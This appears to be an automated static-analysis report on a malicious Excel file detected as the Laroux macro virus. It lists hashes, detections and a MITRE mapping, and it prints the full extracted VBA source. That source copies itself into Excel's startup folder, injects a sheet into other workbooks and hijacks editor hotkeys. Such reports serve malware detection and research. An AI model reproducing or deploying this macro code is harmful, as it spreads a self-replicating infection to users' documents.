Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c744909b1f2d0101…

MALICIOUS

Office (OLE)

63.0 KB Created: 2013-02-18 03:18:35 Authoring application: Microsoft Excel First seen: 2015-09-24
MD5: 735dcf8fd1b094ce6781a41c2df560bf SHA-1: d50559e5270d4e52c18f5f046594bbe587fe5f46 SHA-256: c744909b1f2d010116de06237e112f665c2a2654bebaa33a17451d1a02e48164
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel file containing VBA macros. The `auto_open` macro attempts to copy the workbook to the Excel startup path as 'StartUp.xls' and configures application event handlers to maintain persistence. This behavior is indicative of a macro-based malware designed to establish a foothold on the victim system.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1598 bytes
SHA-256: 5520ba5a2b9936635876d73798586cb8058201e67f31f27b6ea1c7dcf7461fa3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.name = "StartUp.xls" Then
book.Close
End If
Next
End Sub

On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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